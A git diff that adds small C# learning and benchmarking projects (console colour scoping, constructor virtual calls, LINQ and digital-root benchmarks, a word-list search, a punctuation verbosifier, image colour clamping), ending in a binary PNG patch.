mode 100644 index 0000000..09fd3ff --- /dev/null +++ b/csharp/E040-CleverUsing/Program.cs @@ -0,0 +1,23 @@ +Console.WriteLine("This outputs in default color"); +using (new DisposableConsoleColor(ConsoleColor.Red)) +{ + Console.WriteLine("This outputs in red"); +} + +Console.WriteLine("This once again outputs in default color"); + +public class DisposableConsoleColor : IDisposable +{ + private readonly ConsoleColor _oldColor; + + public DisposableConsoleColor(ConsoleColor color) + { + _oldColor = Console.ForegroundColor; + Console.ForegroundColor = color; + } + + public void Dispose() + { + Console.ForegroundColor = _oldColor; + } +} diff --git a/csharp/E041-InheritanceTest/E041-InheritanceTest.csproj b/csharp/E041-InheritanceTest/E041-InheritanceTest.csproj new file mode 100644 index 0000000..f82f92d --- /dev/null +++ b/csharp/E041-InheritanceTest/E041-InheritanceTest.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E041_InheritanceTest + enable + enable + + + diff --git a/csharp/E041-InheritanceTest/Program.cs b/csharp/E041-InheritanceTest/Program.cs new file mode 100644 index 0000000..f11086b --- /dev/null +++ b/csharp/E041-InheritanceTest/Program.cs @@ -0,0 +1,18 @@ +new DerivedClass(42); + +public abstract class BaseClass +{ + protected BaseClass() => DoSomething(); + protected BaseClass(int x) => DoSomething(); + + public abstract void DoSomething(); +} + +public sealed class DerivedClass : BaseClass +{ + private readonly int _someInt = 10; + + public DerivedClass(int x) => _someInt = x; + + public override void DoSomething() => Console.WriteLine(_someInt); +} diff --git a/csharp/E042-LinqBenchmarks/E042-LinqBenchmarks.csproj b/csharp/E042-LinqBenchmarks/E042-LinqBenchmarks.csproj new file mode 100644 index 0000000..76dfe60 --- /dev/null +++ b/csharp/E042-LinqBenchmarks/E042-LinqBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E042_LinqBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E042-LinqBenchmarks/Program.cs b/csharp/E042-LinqBenchmarks/Program.cs new file mode 100644 index 0000000..4d85b7f --- /dev/null +++ b/csharp/E042-LinqBenchmarks/Program.cs @@ -0,0 +1,35 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class LinqBenchmarks +{ + private readonly List _list = Enumerable.Range(1, 1000000).ToList(); + + [Benchmark] + public int[] CustomLoop() + { + var array = new int[_list.Count]; + var resultIndex = 0; + + for (var index = 0; index < _list.Count; index++) + { + if (_list[index] % 2 == 0) + { + array[resultIndex++] = _list[index]; + } + } + + Array.Resize(ref array, resultIndex); + Array.Sort(array, (a, b) => b - a); + return array; + } + + [Benchmark] + public int[] Where_OrderByDescending() + { + return _list.Where(i => i % 2 == 0).OrderByDescending(i => i).ToArray(); + } +} diff --git a/csharp/E043-AllNumericExceptBenchmarks/E043-AllNumericExceptBenchmarks.csproj b/csharp/E043-AllNumericExceptBenchmarks/E043-AllNumericExceptBenchmarks.csproj new file mode 100644 index 0000000..a606893 --- /dev/null +++ b/csharp/E043-AllNumericExceptBenchmarks/E043-AllNumericExceptBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E043_AllNumericExceptBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E043-AllNumericExceptBenchmarks/Program.cs b/csharp/E043-AllNumericExceptBenchmarks/Program.cs new file mode 100644 index 0000000..9303e4d --- /dev/null +++ b/csharp/E043-AllNumericExceptBenchmarks/Program.cs @@ -0,0 +1,42 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class AllNumericExceptBenchmarks +{ + [Benchmark] + [Arguments("1234567890a", 10)] + [Arguments("12345678901", 10)] + [Arguments("a2345678901", 10)] + [Arguments("12345678901", 10)] + [Arguments("aaaaaaaaaaa", 10)] + public bool AlphaAnar(string str, int charIndex) + { + for (var index = 0; index < str.Length; index++) + { + if (char.IsDigit(str[index]) ^ index != charIndex) + return false; + } + + return true; + } + + [Benchmark] + [Arguments("1234567890a", 10)] + [Arguments("12345678901", 10)] + [Arguments("a2345678901", 10)] + [Arguments("12345678901", 10)] + [Arguments("aaaaaaaaaaa", 10)] + public bool Yasahiro(string str, int charIndex) + { + for (var index = 0; index < str.Length; index++) + { + if (!char.IsDigit(str[index]) ^ index == charIndex) + return false; + } + + return true; + } +} diff --git a/csharp/E044-FiveFiveLetter/E044-FiveFiveLetter.csproj b/csharp/E044-FiveFiveLetter/E044-FiveFiveLetter.csproj new file mode 100644 index 0000000..de929f7 --- /dev/null +++ b/csharp/E044-FiveFiveLetter/E044-FiveFiveLetter.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E044_FiveFiveLetter + enable + enable + + + diff --git a/csharp/E044-FiveFiveLetter/Program.cs b/csharp/E044-FiveFiveLetter/Program.cs new file mode 100644 index 0000000..73b991b --- /dev/null +++ b/csharp/E044-FiveFiveLetter/Program.cs @@ -0,0 +1,69 @@ +const string Url = "https://raw.githubusercontent.com/dwyl/english-words/master/words_alpha.txt"; +var letters = new Dictionary(); +using var httpClient = new HttpClient(); + +var words = new List(); + +if (File.Exists("words_alpha.txt")) +{ + Console.WriteLine("Loading word list..."); + words = (await File.ReadAllLinesAsync("words_alpha.txt").ConfigureAwait(false)).ToList(); + Console.WriteLine($"Loaded {words.Count} words"); +} +else +{ + Console.WriteLine("Downloading word list..."); + + await using Stream stream = await httpClient.GetStreamAsync(Url).ConfigureAwait(false); + using var reader = new StreamReader(stream); + while (!reader.EndOfStream && await reader.ReadLineAsync().ConfigureAwait(false) is { } line) + words.Add(line); + + await File.WriteAllLinesAsync("words_alpha.txt", words).ConfigureAwait(false); + Console.WriteLine($"Downloaded {words.Count} words"); +} + +Console.WriteLine("Removing words greater than 5 characters..."); +words.RemoveAll(word => word.Length > 5); +Console.WriteLine($"Remaining {words.Count} words"); + +Console.WriteLine("Removing words with duplicate letters..."); +words.RemoveAll(word => word.Length != new HashSet(word).Count); +Console.WriteLine($"Remaining {words.Count} words"); + +Console.WriteLine("Removing anagrams..."); +words.RemoveAll(word => words.Any(other => other != word && other.Length == word.Length && IsAnagram(word, other))); +Console.WriteLine($"Remaining {words.Count} words"); + +Console.WriteLine("Searching for 5-letter words..."); + +var currentSet = new Queue(); +foreach (string word in words) +{ + currentSet.Enqueue(word); + foreach (string other in words) + { + currentSet.Enqueue(other); + if (word == other) + { + currentSet.Dequeue(); + continue; + } + + if (word.Any(c => other.Contains(c))) + { + currentSet.Dequeue(); + } + } +} + +return; + +bool IsAnagram(string word, string other) +{ + letters.Clear(); + foreach (char letter in word) letters[letter] = letters.TryGetValue(letter, out int count) ? count + 1 : 1; + foreach (char letter in other) letters[letter] = letters.TryGetValue(letter, out int count) ? count - 1 : -1; + bool result = letters.Values.All(count => count == 0); + return result; +} diff --git a/csharp/E045-VerbosePunctuation/E045-VerbosePunctuation.csproj b/csharp/E045-VerbosePunctuation/E045-VerbosePunctuation.csproj new file mode 100644 index 0000000..4f94ad6 --- /dev/null +++ b/csharp/E045-VerbosePunctuation/E045-VerbosePunctuation.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E045_VerbosePunctuation + enable + enable + + + diff --git a/csharp/E045-VerbosePunctuation/Program.cs b/csharp/E045-VerbosePunctuation/Program.cs new file mode 100644 index 0000000..e0459c2 --- /dev/null +++ b/csharp/E045-VerbosePunctuation/Program.cs @@ -0,0 +1,88 @@ +using System.Text; + +while (true) +{ + Console.ResetColor(); + string input = Console.ReadLine()!; + + Console.ForegroundColor = ConsoleColor.Green; + Console.WriteLine(Verbosify(input)); +} + +static string Verbosify(string input) +{ + while (input.Contains("...")) + input = input.Replace("...", "…"); + + input = input.Replace("?!", "‽"); + input = input.Replace("!?", "‽"); + input = input.Replace("?‽", "‽"); + input = input.Replace("!‽", "‽"); + input = input.Replace('“', '"'); + input = input.Replace('”', '"'); + input = input.Replace('‘', '\''); + input = input.Replace('’', '\''); + + var builder = new StringBuilder(); + foreach (char character in input) + { + if (char.IsLetter(character)) builder.Append(character); + else + { + switch (character) + { + case '0': builder.Append(" zero "); break; + case '1': builder.Append(" one "); break; + case '2': builder.Append(" two "); break; + case '3': builder.Append(" three "); break; + case '4': builder.Append(" four "); break; + case '5': builder.Append(" five "); break; + case '6': builder.Append(" six "); break; + case '7': builder.Append(" seven "); break; + case '8': builder.Append(" eight "); break; + case '9': builder.Append(" nine "); break; + case '…': builder.Append(" ellipsis "); break; + case '.': builder.Append(" period "); break; + case ',': builder.Append(" comma "); break; + case ':': builder.Append(" colon "); break; + case ';': builder.Append(" semicolon "); break; + case '‽': builder.Append(" interrobang "); break; + case '!': builder.Append(" exclamation mark "); break; + case '?': builder.Append(" question mark "); break; + case '\'': builder.Append(" apostrophe "); break; + case '"': builder.Append(" quotation mark "); break; + case '-': builder.Append(" hyphen "); break; + case '_': builder.Append(" underscore "); break; + case '(': builder.Append(" open parenthesis "); break; + case ')': builder.Append(" close parenthesis "); break; + case '{': builder.Append(" open brace "); break; + case '}': builder.Append(" close brace "); break; + case '[': builder.Append(" open bracket "); break; + case ']': builder.Append(" close bracket "); break; + case '<': builder.Append(" open chevon "); break; + case '>': builder.Append(" close chevon "); break; + case '+': builder.Append(" plus "); break; + case '=': builder.Append(" equals "); break; + case '*': builder.Append(" asterisk "); break; + case '%': builder.Append(" percent "); break; + case '$': builder.Append(" dollar "); break; + case '#': builder.Append(" hash "); break; + case '@': builder.Append(" at "); break; + case '&': builder.Append(" ampersand "); break; + case '|': builder.Append(" pipe "); break; + case '\\': builder.Append(" backslash "); break; + case '/': builder.Append(" slash "); break; + case '^': builder.Append(" caret "); break; + case '~': builder.Append(" tilde "); break; + case '`': builder.Append(" grave accent "); break; + default: builder.Append(character); break; + } + } + } + + var result = builder.ToString(); + while (result.Contains(" ")) + result = result.Replace(" ", " "); + + return result.Trim(); +} \ No newline at end of file diff --git a/csharp/E046-DigitalRootBenchmarks/E046-DigitalRootBenchmarks.csproj b/csharp/E046-DigitalRootBenchmarks/E046-DigitalRootBenchmarks.csproj new file mode 100644 index 0000000..14f9798 --- /dev/null +++ b/csharp/E046-DigitalRootBenchmarks/E046-DigitalRootBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E046_DigitalRootBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E046-DigitalRootBenchmarks/Program.cs b/csharp/E046-DigitalRootBenchmarks/Program.cs new file mode 100644 index 0000000..20e4e50 --- /dev/null +++ b/csharp/E046-DigitalRootBenchmarks/Program.cs @@ -0,0 +1,69 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class DigitalRootBenchmarks +{ + private const int Number = 2958171; + + [Benchmark] + [Arguments(Number)] + public int DigitalRoot_Chars(int number) + { + while (number > 9) + { + var digits = number.ToString(); + var sum = 0; + + foreach (char digit in digits) + sum += int.Parse(digit.ToString()); + + number = sum; + } + + return number; + } + + [Benchmark] + [Arguments(Number)] + public int DigitalRoot_Standard(int number) + { + while (number > 9) + { + var sum = 0; + + for (; number > 0; number /= 10) + sum += number % 10; + + number = sum; + } + + return number; + } + + [Benchmark] + [Arguments(Number)] + public int DigitalRoot_Recursion(int number) + { + var sum = 0; + + while (number > 0) + { + sum += number % 10; + number /= 10; + } + + if (sum > 10) sum = DigitalRoot_Recursion(sum); + return sum; + } + + [Benchmark] + [Arguments(Number)] + public int DigitalRoot_Optimal(int number) + { + int result = number % 9; + return result == 0 ? 9 : result; + } +} diff --git a/csharp/E047-DigitalRoot/E047-DigitalRoot.csproj b/csharp/E047-DigitalRoot/E047-DigitalRoot.csproj new file mode 100644 index 0000000..e24f757 --- /dev/null +++ b/csharp/E047-DigitalRoot/E047-DigitalRoot.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E047_DigitalRoot + enable + enable + + + diff --git a/csharp/E047-DigitalRoot/Program.cs b/csharp/E047-DigitalRoot/Program.cs new file mode 100644 index 0000000..bf6f0e3 --- /dev/null +++ b/csharp/E047-DigitalRoot/Program.cs @@ -0,0 +1,58 @@ +const int number = 2958171; + +Console.WriteLine(DigitalRoot_Standard(number)); +Console.WriteLine(DigitalRoot_Chars(number)); +Console.WriteLine(DigitalRoot_Recursion(number)); +Console.WriteLine(DigitalRoot_Optimal(number)); +return; + +static int DigitalRoot_Chars(int number) +{ + while (number > 9) + { + var digits = number.ToString(); + var sum = 0; + + foreach (char digit in digits) + sum += int.Parse(digit.ToString()); + + number = sum; + } + + return number; +} + +static int DigitalRoot_Standard(int number) +{ + while (number > 9) + { + var sum = 0; + + for (; number > 0; number /= 10) + sum += number % 10; + + number = sum; + } + + return number; +} + +static int DigitalRoot_Recursion(int number) +{ + var sum = 0; + + while (number > 0) + { + sum += number % 10; + number /= 10; + } + + if (sum > 10) sum = DigitalRoot_Recursion(sum); + return sum; +} + +static int DigitalRoot_Optimal(int number) +{ + int result = number % 9; + return result == 0 ? 9 : result; +} diff --git a/csharp/E048-ColorClamping/E048-ColorClamping.csproj b/csharp/E048-ColorClamping/E048-ColorClamping.csproj new file mode 100644 index 0000000..1d8b0fa --- /dev/null +++ b/csharp/E048-ColorClamping/E048-ColorClamping.csproj @@ -0,0 +1,22 @@ + + + + Exe + net8.0 + E048_ColorClamping + enable + enable + + + + + + + + + + Always + + + + diff --git a/csharp/E048-ColorClamping/Program.cs b/csharp/E048-ColorClamping/Program.cs new file mode 100644 index 0000000..1da8d7b --- /dev/null +++ b/csharp/E048-ColorClamping/Program.cs @@ -0,0 +1,20 @@ +using SixLabors.ImageSharp; +using SixLabors.ImageSharp.Drawing.Processing; +using SixLabors.ImageSharp.PixelFormats; +using SixLabors.ImageSharp.Processing; + +using var image = Image.Load("bliss.png"); +image.Mutate(ctx => +{ + // ReSharper disable AccessToDisposedClosure + for (var y = 0; y < image.Height; y++) + for (var x = 0; x < image.Width; x++) + { + const int n = 50; + Rgba32 color = image[x, y]; + color = new Rgba32(color.R / n * n, color.G / n * n, color.B / n * n, color.A); + ctx.FillPolygon(color, new PointF(x, y), new PointF(x + 1, y), new PointF(x + 1, y + 1), new PointF(x, y + 1)); + } +}); + +image.Save("result.png"); diff --git a/csharp/E048-ColorClamping/bliss.png b/csharp/E048-ColorClamping/bliss.png new file mode 100644 index 0000000000000000000000000000000000000000..22ceab5a9011d39a46d1df9e08ee7037c1c9d8be GIT binary patch literal 109857 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 